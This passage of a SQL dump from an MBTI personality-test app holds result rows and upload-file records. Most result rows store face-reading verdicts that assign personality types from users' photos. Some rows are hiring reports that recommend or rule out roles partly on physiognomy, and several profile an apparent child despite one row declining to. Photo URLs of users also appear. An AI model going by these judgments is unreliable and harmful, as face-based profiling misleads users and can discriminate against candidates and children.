NULL, 1773228478, 1773228478, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (131, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向活泼、好奇心强,反应灵敏,情绪丰富,有想象力与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg\"], \"boneAnalysis\": \"骨架圆润带柔,颧区平和、下巴饱满,气质偏亲和稳定,成长空间大。\", \"faceAnalysis\": \"额头圆阔、眼神灵动、面庞饱满,表情丰富,整体给人开朗活泼之感。\", \"personalitySummary\": \"性格外向有趣,情绪表达自然,喜欢与人互动,善于用直觉与想象应对新事物。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228716, 1773228716, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (132, 35, 'mbti', '{\"scores\": {\"E\": 3, \"F\": 2, \"I\": 5, \"J\": 4, \"N\": 1, \"P\": 3, \"S\": 6, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ISTJ\", \"timestamp\": \"2026-03-11T11:31:57.653Z\", \"confidence\": 70, \"completedAt\": \"2026-03-11T11:31:57.651Z\", \"description\": {\"name\": \"检查员\", \"type\": \"ISTJ\", \"careers\": [\"会计师\", \"审计师\", \"项目经理\"], \"category\": \"守护者\", \"strengths\": [\"可靠负责\", \"注重细节\", \"有条理\"], \"weaknesses\": [\"可能过于固执\", \"不喜变化\"], \"description\": \"务实、负责、可靠的传统主义者\"}, \"testDuration\": 234, \"dimensionScores\": {\"EI\": {\"E\": 3, \"I\": 5, \"dominant\": \"I\", \"percentage\": 63}, \"JP\": {\"J\": 4, \"P\": 3, \"dominant\": \"J\", \"percentage\": 57}, \"SN\": {\"N\": 1, \"S\": 6, \"dominant\": \"S\", \"percentage\": 86}, \"TF\": {\"F\": 2, \"T\": 6, \"dominant\": \"T\", \"percentage\": 75}}}', NULL, NULL, 0, 0, NULL, NULL, 1773228717, 1773228717, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (133, 33, 'face', '{\"pdp\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"无法判断\", \"title\": \"战略家\"}, \"overview\": \"照片中为一名儿童,表情自然放松,仅可确认有清晰人脸,无法据此进行可靠人格与职业测评推断。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg\"], \"boneAnalysis\": \"骨相发育尚在早期阶段,无法依据传统相术或现代模型给出稳定结论。\", \"faceAnalysis\": \"五官端正、表情活泼,仍处生长期,面部特征尚未定型,不宜据此推演性格命运。\", \"personalitySummary\": \"仅从照片无法科学推断其MBTI、PDP或DISC类型,任何人格判断都会失真且存在刻板风险。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228789, 1773228789, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (134, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼外向,好奇心强,情绪丰富,乐于表达与互动,适合在支持与鼓励环境中成长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"骨相柔和偏圆,额区饱满,下颌承托力适中,属以亲和力与适应力见长的发展型格局。\", \"faceAnalysis\": \"五官圆润有朝气,眼神灵动,表情多变,整体给人活泼、亲切且富有童真的感觉。\", \"personalitySummary\": \"天真外向,想象力丰富,表达欲强,乐于尝试新事物,善于在互动中获得能量与自信。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228837, 1773228837, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (135, 36, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实、安静专注,责任心强,重视长期稳定与稳健推进,适合深度专业与体系化管理工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg\"], \"boneAnalysis\": \"骨相偏土木形,骨肉均匀不突兀,颧鼻不张扬而有支撑力,下颌骨柔中带劲,属稳健持久、重实践型格局。\", \"faceAnalysis\": \"额头平阔饱满,眼神沉稳克制,鼻梁顺直略圆润,下巴略尖偏圆,整体给人理性内敛、踏实细腻之感。\", \"personalitySummary\": \"性格内敛寡言却有主见,做事循序渐进、计划性强,遇事冷静分析,偏好规则与秩序,重承诺、可信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229546, 1773229546, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (136, 37, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实稳重,思维缜密,抗压能力强,偏向长期规划与稳健推进型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg\"], \"boneAnalysis\": \"骨架偏厚实,面中庭力量感足,下颌骨承载力佳,属土形稳重格局,重视现实与长期积累。\", \"faceAnalysis\": \"额头较宽,眼神内敛专注,鼻翼扎实,嘴形收敛,下巴圆厚,整体给人稳健务实、重执行的印象。\", \"personalitySummary\": \"性格内敛理性,做事有计划有耐心,重视规则和责任,能在压力环境下持续输出稳定表现。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229714, 1773229714, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (137, 37, 'mbti', '{\"scores\": {\"E\": 1, \"F\": 8, \"I\": 7, \"J\": 7, \"N\": 3, \"P\": 0, \"S\": 4, \"T\": 0}, \"answers\": [], \"mbtiType\": \"ISFJ\", \"timestamp\": \"2026-03-11T11:50:52.619Z\", \"confidence\": 86, \"completedAt\": \"2026-03-11T11:50:52.619Z\", \"description\": {\"name\": \"保护者\", \"type\": \"ISFJ\", \"careers\": [\"护士\", \"教师\", \"行政\"], \"category\": \"守护者\", \"strengths\": [\"忠诚体贴\", \"观察力强\", \"耐心\"], \"weaknesses\": [\"不善拒绝\", \"过于谦虚\"], \"description\": \"安静、友好、负责任的守护者\"}, \"testDuration\": 128, \"dimensionScores\": {\"EI\": {\"E\": 1, \"I\": 7, \"dominant\": \"I\", \"percentage\": 88}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 3, \"S\": 4, \"dominant\": \"S\", \"percentage\": 57}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773229852, 1773229852, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (138, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理\", \"团队领导\", \"销售主管\", \"客户关系管理\"], \"notSuitable\": [\"高度技术专业深度研发岗位\", \"需要极端内向独立完成任务职位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"88%\"}, {\"label\": \"沟通适应性\", \"level\": \"高\", \"value\": \"85%\"}, {\"label\": \"抗压能力\", \"level\": \"高\", \"value\": \"90%\"}, {\"label\": \"组织执行力\", \"level\": \"高\", \"value\": \"87%\"}], \"headline\": \"具备双重领导力特质,能统筹规划与激励团队\"}, \"overview\": \"候选人性格表现出内敛与外向的明显分裂特征,行为模式体现理性与感性并存。生日与骨相显示其稳健、理性、富有抗压性,擅长有序规划与坚持原则;BUT 测评结果揭示其显著的社交互动能力和乐观自信,既有高效组织者特质,也极具表现力与亲和力。整体呈现出复合型领导者画像,兼具战略洞察与团队激励能力。\", \"portrait\": {\"coreRisks\": [\"性格层面存在内外反差,易造成自我认知混淆\", \"注意力可能易分散\", \"在快速变化环境中可能出现优柔寡断\"], \"workStyle\": \"偏好稳定有序环境,习惯通过周密计划和严谨执行达到目标,沟通时既能理性直截也能展现亲和力,团队中担任既能推动任务又能激励氛围的角色。\", \"coreStrengths\": [\"目标导向强\", \"理性冷静\", \"良好沟通与表达能力\", \"高抗压\", \"组织协调力强\", \"人际影响力显著\"]}, \"resumeHighlights\": \"MBTI识别为ESTJ,显示其作为果断的组织者和领导者;PDP和DISC均倾向表现型/影响型,凸显良好的社交影响力和团队调动能力。骨相与面部特征分析印证其内敛稳健的性格底色。其工作经历中的表现预计为理性、有序和高效。整体来看,候选人真实个性为‘理性+表现’,即内外兼修的复合型人才,既冷静决策又积极表达,适合担任中高级管理及客户导向岗位。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773279222, 1773279222, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (139, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维理性,细致专注,谋略与执行兼备,适合规划与决策类岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨重肉匀,五行木形,颧骨收敛,伏犀骨有力,格局中高,主理性与稳定。\", \"faceAnalysis\": \"额头饱满,眼神专注,鼻梁挺直,唇形清晰,下巴轮廓分明,五官协调。\", \"personalitySummary\": \"具备理性分析与系统思维,做事沉稳高效,决策重逻辑长远。人际间保持距离感,适合独立谋划或专业带队,能整合资源,兼具开拓与守成。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279937, 1773279937, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (140, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"具备思维理性、决策果断和全局统筹能力,攻坚执行兼具创新潜质。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"金形骨相,骨重肉薄,颧骨高耸将军骨坚挺,整体格局高,决断现实感强,抗压理性攻坚。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注,鼻梁直挺,唇形收放有度,下颌宽厚有力,耳廓适中贴头。\", \"personalitySummary\": \"刚健稳重兼具战略眼光,雷厉风行注重细节,理性分析为决策核心,具威信领导力,适配高挑战环境管理晋升路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279975, 1773279975, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (141, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性专注、条理清晰,擅长深度思考和独立决策,兼具敏锐洞察力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五行属木形,骨感明显,骨重肉薄,抗压稳健,主见强,谋略佳。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁高直,嘴唇紧收,下巴略尖,耳朵较贴头。\", \"personalitySummary\": \"善于逻辑推理与系统规划,追求精准,行事低调却有主见,决策理性。人际关系理性有度,沟通偏向事实与逻辑,适配复杂问题解决与知识型岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280023, 1773280023, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (142, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼开朗,表达力强,人际感知力高,适应变化能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面部骨肉平衡,五行偏木形,骨肉停匀,适应力强,抗压方式以柔性缓冲为主。\", \"faceAnalysis\": \"额头饱满,眼神灵动,鼻形端正,嘴唇饱满,下巴圆润,耳位正常。总体面相阳光自信,情绪丰富。\", \"personalitySummary\": \"性格外向,具创造力与好奇心,乐于表达,易与人建立良好关系。做事充满热情,喜欢尝试新鲜事物。团队合作时善于沟通,适应力与应变强。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280177, 1773280177, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (143, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"销售与商务拓展\", \"团队管理与激励(项目经理、销售主管、BD Leader等)\", \"客户关系管理与顾问服务\", \"活动策划、品牌公关\"], \"notSuitable\": [\"高重复性、独立性极强的后端执行类(如数据分析、流程型文职、会计专员)\", \"需要高度专注单一任务、个人深入逻辑钻研岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}], \"headline\": \"极具影响力的团队激励者与执行推动者,善于跨领域整合资源、激发团队潜能。\"}, \"overview\": \"该候选人具备高度外向、沟通力强和乐观积极的性格底色,兼具行动力与组织力,适应变化能力强,具有自然影响力。性格测试结果一致印证其人际驱动力和行动执行能力。综合性格测评、面相骨骼及工作特质,可判定其在组织激励、人际协调、项目落地与多任务场景中表现突出,适宜领导、销售、商务拓展、项目管理及创新团队核心角色。\", \"portrait\": {\"coreRisks\": [\"注意力分散易影响执行细节\", \"过度乐观导致风险评估不足\", \"对重复性、缺乏人际互动的任务动力不足\"], \"workStyle\": \"以目标为导向,善于自我激励,偏好开放性、多元协作的环境。能够高效组织团队,协调资源并推动项目进展。擅长快速建立关系并激发团队氛围,遇压力时更倾向寻求人际支持与化解矛盾而非正面硬抗。善于多线程并行处理事务,重视创新与挑战。\", \"coreStrengths\": [\"外向热情\", \"沟通能力强\", \"组织与执行力突出\", \"高度适应变化\", \"富有影响力及感染力\"]}, \"resumeHighlights\": \"性格测试高度一致,兼具外向表达(ENFP/孔雀/I型)与组织领导力(ESTJ/虎型/C型),天生具备沟通、影响、团队协调与快速适应变化等能力。易于驱动团队目标落实,善于调动氛围,执行与创新并重。易疏忽细节、风险评估需提升。职业发展建议加强专注力与系统思考能力,实现稳步突破。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773280251, 1773280251, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (144, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"富有活力与感染力,适应环境强,乐于表达创新思维。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面中骨肉均匀,偏木形,骨相开阔亲和,侧重柔性与弹性。\", \"faceAnalysis\": \"额头饱满,眼睛有神,鼻翼宽正,嘴型饱满有力,下颌圆润,耳贴头。\", \"personalitySummary\": \"性格热情开朗,情感丰富,富有创意表达,适应力强,善于社交融合团队,执行力佳。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773285873, 1773285873, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (145, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"开朗活泼,好奇心强,具备创造力和团队感染力,适应环境能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"木形,骨肉匀停,骨相灵秀,童年阶段潜质清晰,面部结构均衡。\", \"faceAnalysis\": \"额头宽阔饱满,眼神灵动,鼻子圆润,嘴唇适中,下巴圆厚,双耳对称。\", \"personalitySummary\": \"充满活力,思路开放,善于表达兴趣与情感,乐于与人互动,情绪自调能力佳,适合多元探索、团队合作及体验型成长环境。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773286899, 1773286899, 6, 'enterprise'); + +-- ---------------------------- +-- Table structure for mbti_upload_files +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_upload_files`; +CREATE TABLE `mbti_upload_files` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', + `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', + `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', + `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', + `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', + `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', + `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_upload_files +-- ---------------------------- +INSERT INTO `mbti_upload_files` VALUES (3, 'mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'https://res.quwanzhi.com/mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'oss', '37913551561757f3c26c515256c3fabb', 4567, 'image/jpeg', 'jpeg', 1770965712, 1770965712); +INSERT INTO `mbti_upload_files` VALUES (4, 'mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'oss', '581fe7ab377843cbe8c6edb5f426e120', 4570, 'image/jpeg', 'jpeg', 1770965854, 1770965854); +INSERT INTO `mbti_upload_files` VALUES (5, 'mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'oss', '9a463bb0a7fb80f0254b8a26e39fe410', 4570, 'image/jpeg', 'jpeg', 1770967112, 1770967112); +INSERT INTO `mbti_upload_files` VALUES (7, 'mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'oss', '97d8174a96a724338220c08ebe096068', 188330, 'image/jpeg', 'jpeg', 1771921770, 1771921770); +INSERT INTO `mbti_upload_files` VALUES (8, 'mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'oss', 'e7f99df4bcd33d69bdb5ea2613fdcb9b', 121623, 'image/jpeg', 'png', 1772074427, 1772074427); +INSERT INTO `mbti_upload_files` VALUES (9, 'mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'oss', '92e066d336c9a92c6a6485e15372daf6', 753777, 'image/jpeg', 'jpeg', 1772074427, 1772074427); +INSERT INTO `mbti_upload_files` VALUES (10, 'mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'oss', '5f0eaee6fc3c22e5980627581dfce816', 903689, 'image/jpeg', 'jpeg', 1772074428, 1772074428); +INSERT INTO `mbti_upload_files` VALUES (11, 'mbti/20260228/img_69a288c30b4767.42934501.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg', 'oss', '54303b0c7f5e1fefc0c9b9314303cc5c', 56628, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (12, 'mbti/20260228/img_69a288c316fc40.15562256.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg', 'oss', '83693f93117385e2074f0d41f3427c95', 30089, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (13, 'mbti/20260228/img_69a288c320ed11.93271163.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg', 'oss', 'c4797312a2322cea2a2d306c7a24dadd', 37709, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (14, 'mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'oss', '3be645054d5143c122856432c967b2c6', 123348, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (15, 'mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'oss', '89ec46c3d4c3cd47a19414754fcf3225', 133912, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (16, 'mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'oss', 'a5ae3d7785c5252fdf4ae8fa1b775b01', 134395, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (17, 'mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'oss', '27b45c4caed71ea0b16803d2c5bf72b4', 237939, 'image/jpeg', 'jpg', 1772263689, 1772263689); +INSERT INTO `mbti_upload_files` VALUES (18, 'mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'oss', '96c4b1821b37fab580fe5f45f57de1dc', 42807, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (19, 'mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'oss', '7d4fca2c35e83c61833e35be179e7113', 41834, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (20, 'mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'oss', '3fd2da6514e199297c86ca9f0fb5ce2c', 42092, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (21, 'mbti/20260302/img_69a5027b019460.49988894.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', 'oss', '2bc17026cd7f3f710b5de7748f8f9194', 560, 'image/png', 'png', 1772421755, 1772421755); +INSERT INTO `mbti_upload_files` VALUES (22, 'mbti/20260302/img_69a506f91a7166.23669621.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg', 'oss', 'af349074364fe14d5bc06ab2de1af1ab', 87871, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (23, 'mbti/20260302/img_69a506f91de049.43887143.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg', 'oss', 'e5d86eb62820f4021d0023a73e7676e5', 84501, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (24, 'mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'oss', '9bf66bf414cfa6749017c63720a76ec4', 79820, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (25, 'mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'oss', '326045712ac33916089e8ef0bafcd003', 21005, 'image/jpeg', 'jpg', 1772428077, 1772428077); +INSERT INTO `mbti_upload_files` VALUES (26, 'mbti/20260303/img_69a6844f999b87.63229945.png', 